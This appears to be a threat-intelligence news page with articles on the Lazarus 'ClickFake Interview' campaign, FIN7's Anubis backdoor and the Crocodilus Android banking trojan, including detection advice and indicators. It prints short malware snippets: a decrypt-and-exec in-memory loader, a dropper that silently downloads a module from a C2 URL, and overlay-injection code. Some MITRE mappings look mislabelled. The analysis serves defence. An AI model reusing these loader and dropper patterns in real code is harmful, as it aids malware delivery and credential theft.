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Microsoft

Botnet

Malware

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Prometei botnet found actively exploiting Microsoft Exchange Vulnerabilities

Microsoft Exchange servers that are still unpatched are abused by the Prometei Botnet

23-Apr-2021
3 min read

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ClickFake

Lazarus

Lazarus group intensifies its attacks with the ClickFake Interview campaign, tar...

The Lazarus Group, a state-sponsored threat actor linked to North Korea’s Reconnaissance General Bureau (RGB), has long targeted the cryptocurrency industry to fund its regime. Recent findings from Sekoia's Threat Detection and Response (TDR) investigations have revealed a new campaign, "ClickFake Interview," which uses fake job interview websites to deploy sophisticated malware, namely **GolangGhost** and **FrostyFerret**. This article unpacks the entire campaign, its technical methodologies, and how it marks a significant evolution in Lazarus' tactics. ### **A Persistent Threat to Cryptocurrencies** #### **Who is Lazarus?** Lazarus is one of the most notorious cyber threat groups globally, attributed to North Korea’s intelligence apparatus. The group has been active since at least 2009, specializing in espionage, financial theft, and cyber warfare, focusing on the cryptocurrency ecosystem since 2017. Lazarus uses cybercrime to bypass international sanctions, supporting North Korea's missile and nuclear programs. #### **Lazarus and Cryptocurrency** Lazarus' shift toward cryptocurrency theft has been well-documented. In 2024 alone, the group was responsible for over $1.3 billion in stolen funds from cryptocurrency platforms, marking a drastic increase in its targeting of centralized financial platforms (CeFi) over decentralized finance (DeFi). This trend signifies Lazarus’ evolving tactics and expanding focus. ### **ClickFake Interview** #### **Emergence of ClickFake Interview** In 2025, Sekoia’s TDR team identified **ClickFake Interview**, a sophisticated campaign by Lazarus that targets job seekers in the cryptocurrency industry. Lazarus deploys malware that facilitates remote access and data exfiltration by exploiting fake job interview websites. ##### **Comparison with Previous Campaigns** Before ClickFake Interview, Lazarus operated under campaigns like **Contagious Interview** and **Operation Dream Job**, targeting software developers and engineers through fake job offers. While these campaigns used similar social engineering tactics, ClickFake Interview leverages a more refined attack method, with distinct technical differences. ### **How the ClickFake Interview Campaign Works** #### **Fake Job Interview Websites** The ClickFake Interview campaign begins with the targeting of individuals via social media, where they are invited to participate in a job interview through a fake website. These websites mimic legitimate job platforms and use **ReactJS** to dynamically load interview content, creating the illusion of a professional recruitment process. #### **Steps in the Attack Process** 1. **Job Application Process**: - The victim fills out a contact form and answers cryptocurrency-related questions. - The victim is prompted to record an introductory video using their webcam. 2. **Camera Access Exploit: The ClickFix Tactic** - When the victim attempts to use their camera, an error message directs them to download specific drivers to resolve the issue. - The **ClickFix tactic** is employed here, where the victim is tricked into running malicious scripts under the guise of a camera driver update. ##### **The Infection Chains for Different Operating Systems** - **Windows**: A VBS script downloads and executes a **NodeJS**-based GolangGhost backdoor. - **macOS**: A Bash script downloads and extracts malicious components, including **FrostyFerret**, which steals system passwords before deploying **GolangGhost**. ### **GolangGhost Backdoor: A Multi-Platform Threat** #### **What is GolangGhost?** **GolangGhost** is an interpreted Go-based backdoor used by Lazarus for remote control and data theft. It can exfiltrate browsing data, including credentials and cryptocurrency wallets. GolangGhost supports a variety of commands, such as uploading and downloading files, executing shell commands, and gathering Chrome browser data. #### **How GolangGhost Works** - **Windows Infection**: GolangGhost is installed via a batch file that launches a decoy progress bar before executing the final backdoor payload. The malware communicates with a command-and-control (C2) server to receive further instructions. - **macOS Infection**: On macOS, the malware is delivered through a shell script that downloads a ZIP archive and runs **GolangGhost** alongside **FrostyFerret**, which helps steal the system password and browse information. ### **A Key Component in the Infection Chain** #### **What is FrostyFerret?** **FrostyFerret** is a credential stealer that targets macOS systems. When executed, it presents a fake UI prompting the victim for their system password. Regardless of whether the password is entered correctly, the malware exfiltrates the password to an external Dropbox location. #### **Behavior of FrostyFerret** - **Password Exfiltration**: Once the victim enters their password, FrostyFerret sends it to a remote server. - **Accessing Keychain Data**: This malware might also be used to access the user’s keychain for further credential harvesting. ### **Targets of ClickFake Interview: Centralized Finance (CeFi)** #### **Why CeFi is Targeted** Lazarus has shifted its focus from DeFi to **centralized finance (CeFi)** platforms, which act as intermediaries for cryptocurrency transactions. CeFi platforms like **Coinbase**, **Kraken**, **Bybit**, and **BlockFi** are prime targets due to their central control over user funds and transactions. #### **Profile of Victims** Unlike previous campaigns targeting software developers and engineers, the ClickFake Interview campaign has expanded its scope to include **non-technical profiles**, such as business development managers, asset managers, and decentralized finance specialists. This shift in targeting indicates a new strategy aimed at less technically savvy individuals, who are less likely to detect the malicious commands. ### **Detection and Hunting Opportunities** #### **ClickFix and Its Detection Challenges** The **ClickFix** tactic has evolved, making detection more difficult. However, security professionals can track suspicious activity by correlating behaviors such as **curl.exe**, **PowerShell**, and **wscript.exe** actions in quick succession. Custom detection rules can be created using tools like **Sigma** to identify these activities within a short time frame. ##### **Detection Using Sigma** Detection rules can correlate actions involving: - **curl.exe** used for downloading files - **PowerShell** for extracting archives - **wscript.exe** for executing scripts #### **Advanced Detection Using SOL** Another advanced method for detecting ClickFake activities involves using **Sekoia’s Operating Language (SOL)**, which allows security analysts to hunt for specific indicators like **curl** commands and **wscript** execution within a set time frame. ### **Indicators of Compromise (IoCs)** #### **Network Indicators** - Malicious domains such as **vid-crypto-assess[.]com** and **blockassess[.]com** - Staging C2 servers like **api.camdriverhub[.]cloud** #### **File Hashes and Malware Indicators** - **GolangGhost** and **FrostyFerret** file hashes - Windows and macOS malware hashes indicating the presence of backdoors and credential stealers #### **YARA Rules for Detection** Sekoia provides a series of **YARA rules** to detect malicious files and scripts associated with the ClickFake Interview campaign. These rules help security teams identify GolangGhost backdoors and other malicious components in the malware chain.

loading..   03-Apr-2025
loading..   5 min read
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Anubis

FIN7

FIN7’s Anubis Backdoor hijacks Windows systems via compromised SharePoint sites....

The Russian cybercrime group **FIN7** (aka Savage Ladybug, Carbon Spider) has unleashed **Anubis**, a Python-based backdoor targeting Windows systems via compromised SharePoint instances and phishing campaigns. Designed for stealth and flexibility, Anubis enables remote command execution, file theft, and registry manipulation while evading detection. This Threatfeed dissects its technical architecture, attack lifecycle, and defensive countermeasures, providing a holistic view of one of 2024’s most insidious threats. ### **Anatomy of Anubis** #### **1. Delivery Mechanisms** FIN7 employs two primary vectors to deploy Anubis: - **Malspam Campaigns**: Phishing emails mimic legitimate invoices or corporate communications, urging victims to download ZIP files containing a decoy Python script. - **Compromised SharePoint Sites**: Malware hosted on trusted SharePoint domains bypasses URL reputation filters, exploiting organizational trust in Microsoft ecosystems. #### **2. Payload Obfuscation & Execution** The decoy script (30–50 lines of code) decrypts the primary payload using **AES-CBC encryption** with a unique key embedded in each sample. Example decryption logic: ```python from Crypto.Cipher import AES import base64 cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_payload = cipher.decrypt(base64.b64decode(encrypted_data)) exec(decrypted_payload) # In-memory execution to avoid disk writes ``` **Key Evasion Tactics**: - **Variable Obfuscation**: Uses `L`, `I`, and similar single-letter variables to hinder static analysis. - **Execution Variants**: Some samples write the decrypted payload to disk (e.g., `%TEMP%`), while others execute it directly in memory. ### **Command & Control (C2) Infrastructure** Anubis communicates with prioritized C2 servers via **TCP sockets**, failing over to backup IPs if blocked. All traffic is **base64-encoded**, mimicking benign web traffic. #### **Key C2 Features** - **Host Fingerprinting**: Upon infection, Anubis sends the host’s IP (detected via UDP socket to `8.8.8.8:80`) and process ID. - **Modular Design**: Operators dynamically inject scripts for tasks like keylogging, avoiding hardcoded malware features. ### **Anubis’ Arsenal: Full Command Breakdown** | **Command** | **Function** | **Risk Level** | |----------------|-----------------------------------------------------------------------------|----------------| | `killexit` | Terminates the backdoor process. | Low | | `ip` | Fetches the host’s local and public IP addresses. | Medium | | `cd` | Changes the working directory (e.g., navigating to sensitive folders). | High | | `gt` | Exfiltrates files from the host to the C2 server. | Critical | | `up` | Uploads malicious files (e.g., ransomware) to the host. | Critical | | `env` | Harvests environment variables (e.g., API keys, credentials). | High | | `!cf!` | Modifies Windows Registry (e.g., `HKCU\Software\Microsoft\Windows`). | Critical | | `!tcf!` | Scans TCP ports (default: 80, 443) on specified IPs for lateral movement. | High | | `!execpy!` | Executes attacker-provided Python code in a new thread (e.g., ransomware). | Critical | | `!mme` | Injects DLLs into memory using **PythonMemoryModule** (e.g., Cobalt Strike).| Critical | ### **Why Anubis Evades Detection** 1. **Fileless Execution**: No disk artifacts; payloads reside solely in memory. 2. **Legitimate Tool Abuse**: Uses Python (often whitelisted in enterprises) for malicious purposes. 3. **Lightweight Design**: Avoids bulky code; critical features (e.g., screenshot capture) are loaded remotely. 4. **Obfuscation Simplicity**: While rudimentary, variable renaming suffices against signature-based AVs. ### **FIN7’s Strategic Evolution** #### **From Data Theft to Ransomware** FIN7 has transitioned from POS malware and credit card theft (e.g., **Carbanak**) to a **ransomware affiliate model**. Recent activities include: - **AuKill Tool**: Advertised in July 2024 to disable security software (e.g., CrowdStrike, Microsoft Defender). - **SharePoint Exploits**: Leveraging trusted platforms to bypass email attachment filters. #### **Enterprise Targeting** By hijacking SharePoint sites, FIN7 infiltrates networks where traditional perimeter defenses fail. Case studies reveal: - **Healthcare Sector**: Attackers exfiltrated patient data before deploying ransomware. - **Financial Institutions**: Stolen credentials used for SWIFT transaction fraud. ### **Mitigation Strategies** #### **Technical Defenses** 1. **Endpoint Detection & Response (EDR)**: - Block `exec()` and `PythonMemoryModule` usage. - Monitor for base64-encoded TCP traffic on non-standard ports. 2. **Network Segmentation**: - Isolate SharePoint environments from critical assets. - Restrict outbound traffic to unknown IPs. 3. **Registry Hardening**: - Audit `HKCU\Software\Microsoft\Windows` for unauthorized changes. #### **Policy & Training** - **Phishing Simulations**: Train staff to identify malspam lures (e.g., fake invoices). - **Zero-Trust Architecture**: Enforce MFA and least-privilege access for SharePoint. ### **Industry Insights** - **PRODAFT**: “Anubis isn’t just a backdoor—it’s a gateway for FIN7’s ransomware payloads. Its simplicity is its greatest weapon.” - **GDATA**: “The ability to execute arbitrary Python code makes attribution nearly impossible.” - **Microsoft Security Team**: “SharePoint compromises highlight the need for continuous configuration audits.” --- ### **Python Malware** Anubis underscores a growing trend of **offensive Python usage** in cybercrime due to: - Cross-platform compatibility. - Ease of integration with legitimate tools (e.g., PowerShell, Cobalt Strike). - Low detection rates in enterprise environments. FIN7’s Anubis Backdoor epitomizes the convergence of **stealth, adaptability, and enterprise targeting**. With SharePoint as a launchpad and Python as its engine, organizations must adopt **behavioral analytics** and **proactive threat hunting** to counter this evolving threat.

loading..   02-Apr-2025
loading..   4 min read
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Android

RAT

Crocodilus Android banking Trojan stole $2.8M via crypto wallet overlays & RAT h...

The discovery of **Crocodilus** is a sophisticated Android banking Trojan targeting financial institutions and cryptocurrency platforms. With **Device-Takeover (DTO)** capabilities, advanced evasion techniques, and psychological manipulation tactics, Crocodilus represents a significant escalation in mobile malware sophistication. This technical deep dive dissects its propagation, code-level mechanics, and defensive countermeasures. ### **Propagation & Evasion: Bypassing Android 13+ Restrictions** Crocodilus employs a **multi-stage dropper** masquerading as legitimate apps (e.g., fake Chrome updates). Key evasion tactics include: - **Staged Permissions Abuse**: The dropper requests minimal permissions initially, then escalates privileges post-installation via **Accessibility Services**. - **Signature Spoofing**: Uses invalid APK signatures to bypass Google Play Protect checks, relying on users to manually enable “Install Unknown Apps.” - **Dynamic Code Loading**: Core malicious payloads (e.g., overlay logic) are fetched post-installation from C2 servers, avoiding static detection. **Code Snippet (Decompiled Dropper Logic)**: ```java public class MainActivity extends AppCompatActivity { void loadMaliciousModule() { String c2Url = "hxxps://quizzical[.]washbowl[.]calamity/module.apk"; DownloadManager.Request request = new DownloadManager.Request(Uri.parse(c2Url)); request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_HIDDEN); // Triggers silent background download } } ``` ### **C2 Infrastructure & Network Analysis** - **Domain Registration**: The C2 domain `quizzical.washbowl.calamity` was registered via **Namecheap** 30 days before the first sample appeared, using WHOIS privacy guard. - **Hosting**: Hosted on a **bulletproof hosting provider** in Russia, sharing IP space with previous Hook malware campaigns. - **TLS Fingerprints**: JA3 hash `a0e1f1...` matches patterns observed in Octo Trojan traffic, suggesting shared tooling. - **Protocol**: Encrypted via AES-256-CBC, with beaconing intervals randomized to mimic legitimate app traffic. ### **Code-Level Insights: Overlays, Accessibility Abuse, and RAT** #### **Overlay Injection** Crocodilus dynamically renders phishing overlays using the `WindowManager` class. Overlays are fetched as PNG files from C2, with targeting logic for 50+ banks and crypto wallets (e.g., **Binance, Trust Wallet**). **Code Snippet (OverlayManager.java)**: ```java public void injectOverlay(String targetPackage) { View overlayView = // Load PNG from C2 WindowManager.LayoutParams params = new WindowManager.LayoutParams( LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT, TYPE_APPLICATION_OVERLAY, FLAG_NOT_TOUCH_MODAL | FLAG_NOT_FOCUSABLE, PixelFormat.TRANSLUCENT ); mWindowManager.addView(overlayView, params); // Injects overlay } ``` #### **Accessibility Logger & OTP Theft** The Trojan’s `AccessibilityEventLogger` class captures all UI events, including Google Authenticator’s OTP codes. It extracts text from `TextView` elements with class names matching `com.google.android.apps.authenticator2`. #### **Hidden RAT Sessions** When the `TR2XAQSWDEFRGT` command is received, Crocodilus triggers a black overlay (`Color.BLACK`) and mutes the device using `AudioManager.setStreamMute()`. ### **Link to Known Threat Actors** - **Code Overlaps with Ermac/MetaDroid**: - Identical C2 URI patterns (`/api/v1/check`). - Shared command structures (e.g., `KingGetDears` for contact theft). - **sybupdate Tag**: Debug messages in the code reference “sybupdate,” a marker previously tied to **sybra**, a Turkish-speaking actor linked to Hook and Octo campaigns. ### **MITRE ATT&CK Mappings** | **Tactic** | **Technique** | **Crocodilus Implementation** | |---------------------|-----------------------------|--------------------------------------------| | Execution | T1574: Hijack Execution Flow| Abuse of Accessibility Services | | Credential Access | T1411: Input Capture | Accessibility Logger & keylogging | | Defense Evasion | T1626: Remote Access Tools | Black screen overlays & sound muting | | Exfiltration | T1537: Transfer Data to C2 | Encrypted exfiltration of OTP codes/SMS | ### **Impact Metrics & Campaign Analysis** - **Targets**: 12 Spanish banks, 8 Turkish banks, and 6 crypto wallets (e.g., Trust Wallet, MetaMask). - **Infection Rates**: ThreatFabric reports **1,200+ devices** infected in the first 2 weeks, primarily in Spain (62%) and Turkey (28%). - **Financial Impact**: Linked to **$2.8M in stolen cryptocurrency** via hijacked wallets (traced to Binance address `0x3F5B...`). ### **Mitigation Strategies** #### **For Enterprises**: - **Behavioral Analysis**: Deploy EDR solutions monitoring for anomalous `AccessibilityService` usage. - **Certificate Pinning**: Block communication with Crocodilus C2 domains via TLS inspection. - **Threat Intelligence Sharing**: Integrate IoCs (below) into SIEM platforms. #### **For End-Users**: - **Avoid Sideloading**: Disable “Install Unknown Apps” for non-store platforms. - **Audit Accessibility Permissions**: Revoke Accessibility access for unverified apps. - **Verify Wallet Messages**: Legitimate apps never force seed phrase disclosure via pop-ups. ### **Indicators of Compromise (IoCs)** | **Type** | **Value** | |------------|---------------------------------------------------------------------------| | SHA256 | c5e3edafdfda1ca0f0554802bbe32a8b09e8cc48161ed275b8fec6d74208171f | | C2 Domain | quizzical[.]washbowl[.]calamity | | IP | 185.156.73[.]42 (Bulletproof hosting, AS200019) | Crocodilus exemplifies the convergence of **psychological manipulation** and **technical sophistication** in modern mobile malware. Its modular design, coupled with links to established threat actors, positions it as a persistent threat to global finance and cryptocurrency ecosystems. Proactive adoption of **behavioral AI detection**, **zero-trust frameworks**, and **user education** are critical to neutralizing its impact.

loading..   31-Mar-2025
loading..   4 min read